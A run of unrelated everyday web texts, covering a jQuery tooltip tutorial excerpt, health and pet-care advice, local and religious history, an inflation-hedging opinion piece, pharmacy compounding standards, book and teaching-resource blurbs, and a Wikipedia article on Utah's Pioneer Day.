And if it is, what we're going to do inside up here is target the tooltip_container, so $() tick marks for string literal, a pound sign ('#tooltip_container'), outside of the parentheses we're going to type .css () then a semicolon, inside of the parentheses another string literal. We're going to type 'top,' outside of the string literal hit comma, another set of parentheses, outside of the parentheses plus another string literal 'px'.
Now inside of the parentheses, e.pageY-, then another set of parentheses, now inside of the innermost parentheses, let's come up here and let's copy toolTipHeight, copy that variable name, let's come down here, let's paste that and then put +20. So what we're doing here is taking the height of the tooltip, adding 20 pixels and then subtracting that from the position of the cursor. Now what this is going to do is position the tooltip above where the cursor intersects with any HTML element with the tooltip class.
Now let's add an else onto this condition, so after the bracket type else, another set of brackets. Let's come down here and let's take the css 'top' property we were using before. Let's cut that to the clipboard, let's paste it into here. Now to test this let's choose Save, let's come back up to the browser and hit Reload. Now you'll see our tooltips are now going above the cursor. Now while I come up here and rollover the logo, notice that the tooltip is now activated for the logo, but the position of the tooltip is now showing up underneath the position of the cursor.
So now that we're properly detecting for height and width position, in the next movie we'll hide the tooltip, so that it only shows when somebody rolls over a tooltip item.
There are currently no FAQs about Create a Tooltip with jQuery.
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Mental illness in seniors under-diagnosed Facts about mental illness in the elderly
You might not be surprised to read that the most common mental health issue among the elderly is severe cognitive impairment or dementia.
Depression and mood disorders are also fairly widespread among older adults, and disturbingly, they often go undiagnosed and untreated. In a 2006 survey, 5% of seniors 65 and older reported having current depression, and about 10.5% reported a diagnosis of depression at some point in their lives (CDC).
Often going along with depression in many individuals, anxiety is also one of the more prevalent mental health problems among the elderly. Anxiety disorders encompass a range of issues, from obsessive-compulsive disorder (including hoarding syndrome) to phobias to post-traumatic stress disorder (PTSD). About 7.6% of those over 65 have been diagnosed with an anxiety disorder at some point in their lives, reports the CDC.
Causes and Risk Factors for Senior Mental IllnessOne of the ongoing problem with diagnosis and treatment of mental illness in seniors is the fact that older adults are more likely to report physical symptoms than psychiatric complaints (CDC).The Geriatric Mental Health Foundation lists a number of potential triggers for mental illness in the elderly:
Long-term illness (e.g., heart disease or cancer)
Dementia-causing illness (e.g. Alzheimer's disease)
Physical illnesses that can affect thought, memory, and emotion (e.g. thyroid or adrenal disease)
Change of environment, like moving into assisted living
Illness or loss of a loved one
Alcohol or substance abuse
Poor diet or malnutrition |
Under-the-Hill sees constant change
By Carolyn Vance Smith
When the Delta Queen and the Mississippi Queen dock at Natchez Under-the-Hill Tuesday in their race from New Orleans to St. Louis, the area will resemble in some ways how it looked in 1870, when the Natchez and the Robert E. Lee puffed into the wharf.
There’ll be thousands of people cheering, lots of excitement and business operating at full tilt.
But Natchez Under-the-Hill is not really the same any more. It has changed in the last century.
In fact, the area has known nothing but change ever since it was established, presumably by French colonists in the early 1700s.
Until the late 1700s, Natchez On-Top-of-the-Hill did not exist. The only town called Natchez in the 18th century was Under-the-Hill, which, according to historian J.F.H. Claiborne, was “quite an extensive and heavy battery.”
The large area contained the main street, Silver Street, as well as Fulton Street, Water Street, Levee Street, Ferry Street, Little Street and others.
In this town during the early years were a quarter-mile racetrack, private dwellings, saloons, hotels, warehouses, fisheries, grocery stores, a coalyard, an icehouse, a water works, a public steamboat landing on an ark-like wharfboat and the Bluff City Railroad.
It was this landing that attracted early flatboatmen from the North, who floated down the Mississippi River, sold their goods and their boats and trekked homeward on the 450-mile footpath called the Natchez Trace.
It was this landing that was the United States’ southwesternmost outlet, when in 1798 Mississippi became a U.S. territory.
And, it was this landing that, after the advent of steamboating in 1811, became one of the worlds, most flourishing cotton markets.
But the area was constantly changing.
One change, a gradual one, was the actual size of Natchez Under-the-Hill. Because of the river’s fierce current and continual flooding, constant erosion and landslides have caused the landing to lose ground year by year even from early days.
As early as 1797 the sloughing was noticed by experts. A U.S. surveyor, Andrew Ellicott, noted that the Mississippi River was gradually moving eastward and that a true map of the landing could never be drawn.
Another gradual change was the port’s reputation.
Because boatmen, gamblers, river pirates, highwaymen and prostitutes populated the port in the early 19th century, its reputation for many years was offensive.
In 1810 one horrified visitor wrote, “For the size of it there is not, perhaps in the world, a more dissipated spot.”
However, later in the century, when the bandit-plagued Trace gave way to a well-established stage routed, and when steamboating increased the volume of river trade so that respectable firms located Under–the-Hill, the area was periodically cleaned up and made safer.
Some changes have not been so gradual.
One occurred suddenly in 1840, when a severe tornado devastated the landing, causing 400 deaths and the destruction of more than 100 flatboats, two steamboats, a ferry and numerous buildings.
Another occurred during the War Between the states on Sept. 2, 1862, when the gunboat USS Essex landed at Natchez Under-the-Hill to procure ice. It was fired on by the home guard.
In retaliation, the Essex shelled the Natchez heights and the landing. The landing suffered great damage from the bombardment and the fires which followed.
After the war and after the passing of the golden age of steamboating, Natchez Under-the-Hill gradually declined. Its death knell was the completion in 1940 of the Natchez-Vidalia, La., Bridge and the ceasing of ferry operations.
But the reputation and appeal of the place lingered, attracting in the late 1960s and early 1970s D.A. Biglane and other Natchez people, who began buying and restoring buildings there.
The re-establishment of flourishing businesses in these buildings has succeeded in attracting continual crowds of people down Silver Street, thus bringing Natchez Under-the-Hill back to life.
By Carolyn Vance Smith
The Natchez Democrat
Sunday, June 24, 1984 |
That there is a right way to clean your ears implies that there is a wrong way, and in fact, there is a very wrong way. The wrong way is prevalent, and it breaks the first rule of cleaning your ears: don’t insert foreign objects into your ear canal. That includes cotton swabs and any other object that will probably only force the earwax up against the eardrum, potentially causing irritation, temporary hearing loss, or eardrum injury.
So what should you be doing to clean your ears under normal circumstances? In a word: nothing (I hope you weren’t looking for something more profound). Your ears are fashioned to be self-cleaning, and the regular motions of your jaw drive earwax from the canal to the outer ear. If you try to remove it, your ear just generates more wax.
And earwax is beneficial, as it contains protective, lubricating, and antibacterial characteristics. In fact, over-cleaning the ears produces dry, itchy, irritated skin within the ear canal. So, for the majority of people the majority of of the time, nothing is needed other than normal washing to wash the outer ear.
But notice that we said MOST of the time, because there are situations in which individuals do produce an excessive amount of earwax or excess earwax impacts the eardrum. In scenarios like these, you will need to clean your ears. Here’s how:
Cleaning your ears at home
We will say it again: don’t insert any foreign objects into your ear canal. You can irritate the delicate skin of the canal and can end up perforating your eardrum. This means no cotton swabs and definitely no ear candles. (Speaking of ear candles, in 2010, the FDA issued a warning against using them, announcing that no scientific evidence supports their effectiveness and that their use can induce significant injuries.)
To correctly clean your ears at home, take the following actions:
- Buy earwax softening solution at the pharmacy or make some at home. Instructions for preparing the mixture can be found online, and the mixture often includes the use of hydrogen peroxide, mineral oil, and glycerin.
- Pour the solution into your ears from the bowl or by using a plastic or bulb syringe. Tilt your head to the side and let the solution to work for 5-10 minutes.
- Empty the fluid out of your ear by tilting your head gradually over a bowl or the sink, or you can use a cotton ball pushed against the outside of the ear. (I know it’s tempting, but again, don’t force the cotton ball into your ear.)
- Flush out your ears with lukewarm water using a bulb syringe to displace any loose earwax.
When not to clean your ears at home
Cleaning your ears at home could be harmful in the presence of an ear infection or a perforated eardrum. If you encounter any symptoms such as fever, dizziness, ear pain, or ear discharge, it’s best to pay a visit to your doctor or hearing specialist. Also, repeated attempts at self cleaning that fail may signify a more serious congestion that will require professional cleaning.
Medical doctors and hearing specialists use a variety of medicines and devices to rapidly, thoroughly, and safely remove excess earwax. The solutions tend to be stronger than the homemade versions, and devices called curettes can be inserted into the ear to manually remove the wax.
When in doubt, leave it to the professionals. You’ll get the peace of mind that you’re not hurting your ears, and symptoms can subside within minutes of a professional cleaning. In addition, underlying issues or hearing loss can be identified and corrected by a professional.
If you have any further questions or wish to set up an appointment, give us a call today! And remember, if you’re a hearing aid user, you’ll want to get a regular professional checkup every 6 months. |
In April 2012, economist Robert Wenzel was invited to speak at the Federal Reserve Bank of New York. On the occasion, he told the central bankers that “vast amounts of money printing are now required to keep your manipulated economy afloat. It will ultimately result in huge price inflation, or, if you stop printing, another massive economic crash will occur. There is no other way out.”
The money supply tsunami
Mr. Wenzel was right and after an attempted quantitative ‘tightening,’ and a 20% market crash in Q4 2018, the Fed capitulated and resumed money printing. That program has now sharply accelerated.
M2 money supply is perhaps the most important early indicator of price inflation. In 2020, the Fed added almost $3.5 trillion to the aggregate. The transition is more striking still, in percentage terms:
Price inflation inertia
The relationship between money supply and price inflation is not linear; price inflation tends to move with some inertia. The 1970s inflation was preceded by the “Great Prosperity” of the 1960s: monetary expansion began in October ‘62 and continued through 1969. While money supply increased by 38% during that time, prices rose only 11% from April ‘62 to September ‘69. This inertia of price inflation convinced the era’s “New Economists” that inflation was a thing of the past. But inflation did emerge, only with a delay.
Velocity of money and human psychology
As new money enters circulation, there is a corresponding drop in money velocity since households don’t change their spending habits right away. They tend to use it to pay down debts and increase their savings so initially there is little upward pressure on prices of goods and services. However, prices ultimately do catch up and when they begin to rise, velocity reverses course. From that point on price inflation begins to accelerate.
Gestation and the eruption of 1970s inflation
After seven years of growth fueled by deficit spending and credit expansion, U.S. economy began to overheat in 1969 and price inflation reached almost 5%. Nixon administration responded by instituting a tight money regime and extreme budget cutting. This led to a sharp recession.
A wave of mass layoffs and business bankruptcies spooked the government to abruptly reverse itself once more once more and increased deficit spending in the summer of 1970. Federal Reserve ramped up monetary inflation rate to 6.5% and the outlook quickly brightened again: interest rates plunged, stock markets soared and the nation was back on the high road to “prosperity.” But by now inflation began to accelerate and in 1974, it reached 11% and stayed high for the rest of the decade.
Destruction of wealth
Warren Buffett warned that for a debtor nation, inflation is the economic equivalent of the hydrogen bomb. It is the most formidable destroyer of wealth. Since 1960 over two thirds of the world’s market economies suffered episodes of inflation which exceeded 25% in at least one year. On average, investors lost 53% of purchasing power during such episodes. In the U.S. between 1972 and 1982, price inflation averaged a “moderately high” 9% per year. It destroyed 65% of investors’ wealth in real terms.
What could trigger price inflation and when?
Although we can’t predict inflation’s timing or severity, history suggests that significant changes in inflation almost always come as a surprise. Ordinarily, three key factors act as economic flame retardants that absorb price inflation pressures:
- Asset price inflation: by initially absorbing most of the newly created money, financial assets deflect the pressure on prices of goods and services.
- Current account deficit has enabled the US to export its excess dollars to other nations (most notably China) and obtain cheap goods, keeping consumer prices low.
- Human psychology is slow to change inflation expectations, keeping money velocity low for a time.
Unforeseen changes in either of these elements could trigger a phase change in price inflation. Even a moderate increase in interest rates could burst the asset price bubble; economic protectionism and a breakdown in international trade could close the current account deficit, and a rise in commodity prices could boost inflation expectations and the money velocity.
Offshore dollars: another risk factor
Many people wonder why Japan, with its massive QE program hasn’t experienced any price inflation (yet)? The key difference between Japan and the U.S. is that the dollar is much more vulnerable to the actions of foreign creditors. While most of Japan’s debt is held domestically, foreigners hold more than $25 trillion in dollar denominated securities, short-term paper and offshore bank deposits. As Jens Parsson wrote in Dying of Money: “The economics of disaster commences when the holders of money wealth revolt. … Foreign holders of the money take fright … and their money elbows its way into the markets and reverses any balance of payments deficit.”
Will it be like the 1970s or could it be worse?
Economic imbalances that caused the 1970s inflation were mild compared to today’s conditions. Today, the trade balance, fiscal deficits, public and private debts, as well as money supply growth are much larger than they were in the 1960s. Even through the inflationary 1970s, the money supply growth remained below 14%. This year, we already blew past 23%. Predicting how these imbalances will play out is quite out of the question, but the risks are very serious and individuals as well as pension fund managers should consider taking bold action to protect their wealth from the ravages of inflation.
For the 99% of us, gaining an effective hedge against the coming inflation tsunami will be difficult. Some investments are rather obvious: buying some silver and gold bullion. I don’t recommend you go overboard: have enough to cover a few months’ worth of your living expenses and to bribe corrupt government bureaucrats if necessary. Bitcoin might preserve some of your money’s purchasing power, but I remain cautious with regards to this alternative. I get the benefits of bitcoin but the risks of owning it tend to be understated by the enthusiasts. I’ll be a full convert only when my local grocer accepts bitcoin for a basket of groceries. Finally, owning a plot of farmland – even a small one – might be a good idea – for sure they can’t print more of that.
Ultimately however, we’ll have to act collectively. Our economies can function smoothly provided they have sufficient amounts of stable currency to serve as mediums of exchange. If currencies like the US dollar, euro and others are going to be debased, we can create local and regional currencies to keep the flow of goods and services going so people can exchange what they have to offer to the community and obtain what they need. This is not a radical idea: alternative currencies, including time banks have a long and honored history of lubricating local and regional economies so that the people may have access to the natural abundance that is our birthright.
For the 1%, the wealthier population segment, or managers of investment and pension funds, the options are rather different: for them, the most effective inflation hedge is a diversified commodity futures portfolio, (described at the link).
Commodity futures: the best way to protect your wealth
Empirical evidence shows that of all the asset classes, commodity futures provide the best inflation protection. Alliance Bernstein research found that “managed futures” (i.e. exposure to commodity futures prices) had the highest inflation beta of all asset classes:
A paper titled, “Assessing Managed Futures as an Inflation Hedge Within a Multi-Asset Framework,” published in the Journal of Wealth Management concluded that, “Managed futures outperform the other asset classes… No other asset class presents itself as a viable inflation hedge.”
Indeed, as inflation erodes money’s purchasing power, commodity prices can rise very significantly. For example gold appreciated by 2,300% during the 1970s, from $35/tr.oz in 1971 to $850 in 1980. Inflation is likely to have a strong impact on other commodities as well, including energy, industrial metals and agricultural staples like wheat, soybeans, sugar, coffee, cotton and others.
Commodities: overdue for a major price readjustment?
In fact, a significant readjustment in commodity prices could be well overdue. Since the last financial crisis, the commodity prices have fallen to new historical lows relative to stock prices.
Just by reverting toward their historic norm, commodity prices could increase multi-fold. This process will likely unfold as a multi-year trend, offering perhaps a generational opportunity for investors to diversify their risk away from overinflated assets and gain a meaningful inflation protection at the same time.
Alex Krainer [[email protected]] is a former hedge fund manager and author of the 5-star rated book “Mastering Uncertainty in Commodities Trading” and creator of I-System, probably the best trend following system ever built. Alex spent 8 years managing an inflation protection fund (2011 – 2019)
Robert Wenzel, “My Speech Delivered at the New York Federal Reserve Bank.” Economic Policy Journal, 25 April 2012. http://www.economicpolicyjournal.com/2012/04/my-speech-delivered-at-new-york-federal.html
M2 includes a broader set of financial assets held principally by households. M2 consists of M1 plus: (1) savings deposits; (2) small-denomination time deposits; and (3) balances in retail money market mutual funds (MMMFs). Seasonally adjusted M2 is computed by summing savings deposits, small-denomination time deposits, and retail MMMFs, each seasonally adjusted separately, and adding this result to seasonally adjusted M2. See https://fred.stlouisfed.org/series/M2SL
By contrast, banks and corporations spend much of the new money to buy stocks and bonds or bolster reserves. This exerts upward pressure on financial asset prices.
Stanley Fischer, “Modern Hyper- and High Inflations,” National Bureau of Economic Research Working Paper No. 8930 |
Progression of risk
A consideration of the risks associated with extemporaneous preparation.
Any formulae used in extemporaneous preparation should be validated and have supporting stability data – ideally sourced from pharmacopoeial formulations, industry expert reports and published papers. In reality however, such standardised formulae are of limited availability resulting in a multitude of different formulations being used. This in turn may result in formulation failure leading to under- and/or overdosing which may cause toxicity or therapeutic failure. As the complexity of the formulation increases so does the risk of problems occurring. There are many potential causes of formulation failure including physical incompatibilities, drug/excipients binding issues and drug degradation.
Microbial contamination can lead to both physical and chemical changes in the preparation, and be a significant risk to immunocompromised patients. Thus the choice of preservative, storage/refrigeration and shelf-life are all key considerations.
Calculation errors pose the greatest risk of causing serious harm to patients. If possible, formulations should be as simple as possible and independently verified and documented. Most commonly, errors arise when converting units (eg. milligrams to micrograms), when doses can be prescribed as free base or salt, when diluting concentrates or through simple decimal points errors.
The clinical consequences of dosing inaccuracy with medicines that have a narrow therapeutic index are potentially more significant than drugs with a wider therapeutic index. Likewise, patients with certain conditions or from particularly vulnerable patient groups may be at greater risk of morbidity than others. Therefore, the clinical consequences of a formulation failure or calculation error will vary depending on the inherent properties of the drug and the patient’s clinical condition. This should form part of the risk assessment in each instance, and where there is a significant risk of morbidity associated with a non-standard or complex formulation, extemporaneous preparation should be a last resort.
As the majority of patients receiving extemporaneously prepared products are from vulnerable patient groups, pharmacists should regard them as being at increased risk and regularly review their condition.
Whilst certain ingredients are now unsuitable (eg. chloroform is now a recognised as a potential carcinogen) or considered inappropriate for children or certain religious groups, they may still be used in some historical formulae.
Palatability and presentation is an important consideration, especially with regards to compliance in children.
Health and safety risks
As it may involve the handling of hazardous materials, extemporaneous preparation has the potential to put the respective pharmacist at risk. These risks should be identified and evaluated – through A Control of Substances Hazardous to Health (COSHH) risk assessment – prior to preparation.
Standards for Extemporaneous Preparation or Compounding (adapted from RPS Professional Standards and Guidance for the Sale and Supply of Medicines94:
Patients are entitled to expect that products extemporaneously prepared in a pharmacy are prepared accurately and are suitable for use.
You must ensure that:
- a product is extemporaneously prepared only when there is no product with a marketing authorisation available* and where you are able to prepare the product in compliance with accepted standards.
- you and any other staff involved are competent to undertake the tasks.
- the requisite facilities and equipment are available. Equipment must be maintained in good order to ensure that performance is unimpaired, and must be fit for the intended purpose.
- you are satisfied as to the safety and appropriateness of the formula of the product.
- ingredients are sourced from recognised pharmaceutical manufacturers and are of a quality accepted for use in the preparation and manufacture of pharmaceutical products. Where appropriate, relevant legislation must be complied with.
- particular attention and care is paid to substances which may be hazardous and require special handling techniques.
- the product is labelled with the necessary particulars, including an expiry date and any special requirements for the safe handling or storage of the product.
- if you are undertaking large scale preparation of medicinal products, all relevant standards and guidance are adhered to.
- records are kept for a minimum of two years. The records must include:
- formula, ingredients, quantities used, their source,
- batch number, expiry date,
- patient's details, prescription details, date of dispensing (where appropriate)
- personnel involved, including the identity of the pharmacist taking overall responsibility.
* except where methadone mixture is prepared extemporaneously in accordance with guidance.
Find alternatives to
solid dose medications
- Handbook of extemporaneous preparation. Edited by Mark Jackson and Andrew Lowey.
- The NEWT Guidelines
- Consensus guideline on the medication management of adults with swallowing difficulties.
- NEEMMC guidelines for tablet crushing in patients with swallowing difficulties. Colchester Hospital University NHS Foundation Trust, NHS North East Essex.
- Specials Toolkit. Royal Pharmaceutical Society |
Species: Cathartes aura, Turkey Vulture • Born: 2008 • Gender: Female • Disability: Human Imprint
Soon after her birth in 2008, ‘Lilly’ became associated with people and thus became human imprinted. She was transferred to the American Foundation from Clinch River Rehab in Clinton, TN. Lilly is full of energy and constantly keeps the AEF staff on their toes! She is one of the most intelligent birds we have and is in training to hopefully join the Wings of America team with her impressive flight.
ABOUT THIS SPECIES
Vultures often build their nests on the ground, and as one of the most intelligent and curious raptors in America, chicks like to explore their surroundings. Vultures can be found hovering above farmlands, forests, plains, and roadways searching and scavenging for dead animals (and sometimes vegetation) to dine on. Many people think that Vultures are ugly, but they are actually very beautiful and graceful when soaring through the sky!
Vultures do not have a voice box like other raptors. A hissing or grunting sound is the only vocal noise a vulture will make. In addition to hissing, a vulture will sometimes throw up on a potential threat, a defense mechanism called ‘projectile vomiting.’ |
We vaccinate kittens from 9 weeks of age. Two injections 3 to 4 weeks apart are needed to ensure adequate protection. This protection will last 12 months. Your kitten will be protected 2 weeks after the second vaccination and can then start going outside.
You can protect your kitten against the following diseases:
Flu (Herpes and Calici virus): Can cause sneezing, a runny nose and eyes, but mouth ulcers may also occur. Once infected a cat may carry the virus for a long time, and may not have any symptoms but may have mouth ulcers, a snotty nose or other symptoms.
Feline Panleucopenia: Causes severe vomiting and diarrhoea which can be fatal. The virus is spread in droppings and can survive for long periods in the environment.
Feline Leukaemia: This virus can cause disease which is untreatable and almost always fatal. The virus is spread by direct contact with other cats.
Chlamydophilia: Causes conjunctivitis, eye ulcers and discharge from the eyes.
Roundworms can be passed from a mother to her kittens whilst they are in the womb or via the milk. The eggs can survive for years in the environment. It is likely that young cats will have roundworms and so treatment should be started at 2 weeks of age and repeated every 3 weeks until 12 weeks old.
For kittens less than 12 weeks old we recommend a paste, granules or a liquid wormer daily for 3 consecutive days.
Tapeworms can be picked up by your kitten mainly through swallowing fleas but also through eating rabbits or rodents, so from 12 weeks of age we recommend tablets which treat tapeworms, roundworms, whipworms and hookworms. These should be given monthly until 6 months of age. From this age onwards worming every 3 to 6 months is strongly advised. (This might still not be sufficient for some cats, who might need worming every 6 weeks).
If you have difficulties giving tablets to your cat, we sell spot-on wormers or our nurses can administer them.
Every cat is likely to be infected at some stage in its life by fleas, but with the appropriate products you will be able to get rid of them.
Products which kill adult fleas: Spot-on products, easily applied onto the skin. These need to be applied on a monthly basis. All the products we supply will kill fleas within 24 hours, are safe and effective.
Products which stop fleas breeding: An injection every 6 months, to be administered by your vet or veterinary nurse or a monthly suspension which may be added to the food.
Products which treat the environment: Sprays for the house which kill some or all stages of flea development and will give protection for varying lengths of time.
We strongly advise you have your kitten microchipped. The microchip is inserted by a vet or a nurse between the shoulders. This can be done at the second vaccination or any time after that.
Kittens should be fed on proprietary kitten food. Our range of Royal Canin food caters for every life stage. Our team of nurses are available to advise you. Please ask about our loyalty scheme.
We recommend neutering your kitten at about 4 months of age.
We strongly recommend insurance. We offer 4 weeks free insurance with the first vaccination. If you were not offered this, please do not hesitate to ask at the second vaccination. We can only give specific advice on Pet Plan.
Enjoy your kitten and don’t hesitate to contact the surgery on 01579 342120 if you have any questions or concerns. |
Song of Solomon
by Toni Morrison
Song of Solomon The Supernatural Quotes
How we cite our quotes: Citations follow this format: (Chapter.Paragraph)
Scattered here and there, his houses stretched up beyond him like squat ghosts with hooded eyes. He didn’t like to look at them in this light. During the day they were reassuring to see; now they did not seem to belong to him at all – in fact he felt as though the houses were in league with one another to make him feel like the outsider, the propertyless, landless wanderer. (1.1.27)
Though Macon lives in a world of order and defies his little sister who, to him, represents unnaturalness and evil, this is one of the only moments when we see a grown-up Macon aware of, or freaked out by, a supernatural presence, by a power greater than he.
As a result, for all the years he knew her, her stomach was as smooth and sturdy as her back, at no place interrupted by a navel. It was the absence of a navel that convinced people that she had not come into this world through normal channels, but had never lain, floated, or grown in some warm and liquid place connected by a tissue-thin tube to a reliable source of human nourishment. (1.1.27-28)
Indeed, who knew that not having a naval would make life so tough and lonely for a girl? Pilate’s lack of a naval precludes her from belonging to any group or community, even the black community. She is constantly on the periphery, and, therefore, understands outcasts and human suffering better than anyone else in the book. Though we get to hear her whole story, how she came to be who she is, Pilate remains a kind of mythical, magical healer. Plus, she puts that little Voodoo doll on Macon’s chair that scares the living daylights out of him. Hehe.
"Well, before we could get the sand rubbed out of our eyes and take a good look around, we saw him sitting there on a stump. Right in the sunlight. We started to call him but he looked on off, like he was lookin at us and not lookin at us at the same time. Something in his face scared us. It was like looking at a face under water." (1.2.43)
Song doesn’t even pretend to make its ghosts seem ambiguous. The ghosts are for real in the world of this novel, and both Macon and Pilate tell stories of seeing their father’s ghost. |
Help create a future of active, engaged citizens with Your Voice, Your Choice teaching units.
The Electoral Commission has developed these resources to help schools deliver engaging activities designed to encourage students' understanding and enthusiasm for participating in their communities and the voting process.
All units are aligned with the vision, principles, values and key competencies of Levels 3 to 5 the New Zealand Curriculum and Level 5 Te Marautanga o Aotearoa and link to the social sciences learning area.
The material is flexible for different levels. You are encouraged to adapt the sequence of learning activities to meet the specific needs and experiences of your students. |
Prepare for success in OT practice with a complete overview of the profession! Introduction to Occupational Therapy, 5th Edition helps you master the roles and responsibilities of the OT practitioner. Content promotes evidence-based OT practice, from client evaluation to planning interventions and goals to reaching optimal outcomes. You’ll also learn valuable skills in clinical reasoning and in providing occupational therapy across the client’s entire lifespan. Written by experienced educator and author Jane Clifford O’Brien, this comprehensive resource discusses today’s OT treatment settings and adds a new chapter on cultural competence.
- Complete coverage of OT practice prepares you for care in areas such as adult, pediatric, geriatric, and mental health.
- A broad perspective fits the needs of both Occupational Therapy and Occupational Therapy Assistant students.
- Case studies and activities in each chapter help you apply concepts and develop problem-solving skills.
- Emphasis on evidence-based practice helps you learn to think logically and use research literature to formulate diagnoses and treatment plans.
- The OT Practice Framework provides a sound basis for decision making, defining occupational therapy areas of concern and the OT process.
- Chapter objectives, key terms, chapter summaries, and review questions highlight important content in each chapter.
- Student resources on the Evolve companion website include review questions with answers along with crossword puzzles to reinforce what you’ve learned in the book.
Section I: Occupational Therapy: The Profession
1. Introductory Questions
2. Looking Back: A History of Occupational Therapy
3. Philosophical Principles and Values in Occupational Therapy
4. Current Issues and Emerging Practice Areas
5. A Global Perspective of Occupational Therapy NEW!
Section II: Occupational Therapy: The Practitioner
6. From Student to Practitioner: Educational Preparation and Certification
7. The Occupational Therapy Practitioner: Roles, Responsibilities, and Relationships
8. Practicing Legally and Ethically
9. Professional Organizations
Section III: The Practice of Occupational Therapy
10. Occupational Therapy Practice Framework: Domain and Process
11. Occupational Therapy Across the Lifespan
12. Treatment Settings and Models of Health Care
13. Service Management Functions
Section IV: The Process of Occupational Therapy
14. Occupational Therapy Process: Evaluation, Intervention, and Outcomes
15. Models of Practice and Frames of Reference
16. Intervention Modalities
17. Therapeutic Relationships
18. Therapeutic Reasoning
- No. of pages:
- © Mosby 2018
- 17th February 2017
- Paperback ISBN:
- eBook ISBN:
- eBook ISBN:
Associate Professor, Occupational Therapy Department, Westbrook College of Health Professions, University of New England, Portland, ME |
From Wikipedia, the free encyclopedia
Pioneer Day (also archaically called the Day of Deliverance) is an official holiday celebrated on July 24 in the U.S. state of Utah, with some celebrations in regions of surrounding states originally settled by Mormon pioneers. It commemorates the entry of Brigham Young and the first group of Mormon pioneers into the Salt Lake Valley on July 24, 1847, where the Latter-day Saints settled after being forced from Nauvoo, Illinois and other locations in the eastern United States. Parades, fireworks, rodeos, and other festivities help commemorate the event.
In addition to being an official holiday in Utah, Pioneer Day is considered a special occasion by many members of The Church of Jesus Christ of Latter-day Saints (LDS Church). On Pioneer Day, some Latter-day Saints walk portions of the Mormon Trail or reenact entering the Salt Lake Valley by handcart. Latter-day Saints throughout the United States and around the world may celebrate July 24 in remembrance of the LDS Churches' pioneer era, with songs, dances, and pioneer related activities.
While the holiday has strong links to the LDS Church, it is a celebration of everyone, regardless of faith and nationality, who emigrated to the Salt Lake Valley during the pioneer era, which is generally considered to have ended with the 1869 arrival of the transcontinental railroad. Notable non-LDS American pioneers from this period include Bishop Daniel Tuttle, who was responsible for Utah's first non-Mormon schools (Rowland Hall-St. Mark's) and first public hospital (St. Mark's) in the 1800s. The Intertribal Powwow at Liberty Park in Salt Lake City honors the rich cultural heritage and contributions of the area's American Indians, helping Utahns to gain a deeper understanding of the region's history.
The holiday generates a great deal of road traffic; Utah Department of Public Safety statistics demonstrate that Pioneer Day has the second highest holiday traffic fatality rate in Utah, with the earlier July 4 Independence Day having the highest rate.
The earliest precursor to Pioneer Day celebrations in Utah occurred on July 24th, 1849, when the Nauvoo Brass Band lead a commemoration of the second anniversary of the Latter-day Saints entering the Salt Lake Valley.
The first celebration of Pioneer Day in 1857 was interrupted with news of the approach of Johnson's Army, heralding the beginning of the Utah War. During the following occupation of the Utah Territory by federal troops, Pioneer Day was not celebrated. Once President Abraham Lincoln initiated a hands-off policy on Utah in 1862 during the American Civil War Pioneer Day was once again observed, and expanded into the surrounding areas as the Mormon Corridor spread throughout the Intermountain West. In 1880, Latter-day Saints commemorated the Golden Jubilee of the church's formal organization in 1830; tens of thousands of people in hundreds of communities participated in very enthusiastic festivities.
In the years that followed, federal enforcement efforts of anti-polygamy laws (including the 1882 Edmunds Act) resulted in greatly subdued celebrations. The 1886 commemoration was particularly notable for its mourning theme, with the Salt Lake Tabernacle decorated in black instead of the usually colorful bunting, and the eulogizing of Latter-day Saints who were in hiding or prison for polygamy offenses. By 1897, the celebration included not only the 50th anniversary of the initial arrival in the Salt Lake Valley, but also the end of the polygamy issue, the completion of the Salt Lake Temple, and statehood for Utah.
The centennial in 1947 and the sesquicentennial in 1997 were especially large celebrations in Utah. One writer indicated that the 1947 celebrations seemed to incorporate the entire year, with July 24 only being an apex to the events.
- ^ Gross, Ernie. This Day In Religion. New York:Neal-Schuman Publishers, Inc, 1990. ISBN 1-55570-045-4.
- ^ Utah Code 63G-1-301 (Legal holidays), Utah State Legislature, http://www.le.utah.gov/UtahCode/getCodeSection?code=63G-1-301, retrieved 6 August 2009
- ^ Packard, David (15 July 2009), "Pioneer Day in Pocatello, Idaho", Church News (LDS Church), http://www.ldschurchnews.com/articles/57602/Pioneer-Day-in-Pocatello-Idaho.html, retrieved 6 August 2009
- ^ Tanner, Eliza (September 1995), "Safe from the Storms", Ensign (LDS Church), http://www.lds.org/ldsorg/v/index.jsp?vgnextoid=2354fccf2b7db010VgnVCM1000004d82620aRCRD&locale=0&sourceId=8756dbfdf5b1c010VgnVCM1000004d82620a____&hideNav=1, retrieved 6 August 2009
- ^ Schindler, Harold (24 July 1997), "Ailing Young Rolls Out of Canyon, Likes Look of the Salt Lake Valley", Salt Lake Tribune, Mormon Trail Series . Reprinted with permission at Utah History to Go.
- ^ "Today in History: July 24", American Memory (Library of Congress), http://memory.loc.gov/ammem/today/jul24.html, retrieved 6 August 2009
- ^ Hinckley, Gordon B. (October 2001), "Remarks at Pioneer Day Commemoration Concert", Ensign (LDS Church), http://www.lds.org/ldsorg/v/index.jsp?vgnextoid=2354fccf2b7db010VgnVCM1000004d82620aRCRD&locale=0&sourceId=9af6759235d0c010VgnVCM1000004d82620a____&hideNav=1, retrieved 6 August 2009
- ^ Reynolds, Sydney Smith (June 1989), "They Belong to Us All", Liahona (LDS Church), http://www.lds.org/ldsorg/v/index.jsp?vgnextoid=f318118dd536c010VgnVCM1000004d82620aRCRD&locale=0&sourceId=c0bd92e21acdb010VgnVCM1000004d82620a____&hideNav=1, retrieved 6 August 2009
- ^ "Mormons Celebrate Their Pioneer Heritage", Newsroom (LDS Church), http://newsroom.lds.org/ldsnewsroom/eng/news-releases-stories/mormons-celebrate-their-pioneer-heritage, retrieved 6 August 2009
- ^ McGrath, Rachel (26 July 2009), "Mormons in Camarillo mark pioneers' Utah arrival in 1847", Ventura County Star (Camarillo, California), http://www.venturacountystar.com/news/2009/jul/26/mormons-in-camarillo-mark-pioneers-utah-arrival/, retrieved 6 August 2009
- ^ Rohrer, Grey (20 July 2009), "Pioneer Days celebrate western migration", Cape Coral Daily Breeze (Cape Coral, Florida), http://www.cape-coral-daily-breeze.com/page/content.detail/id/508413.html?nav=5011, retrieved 6 August 2009
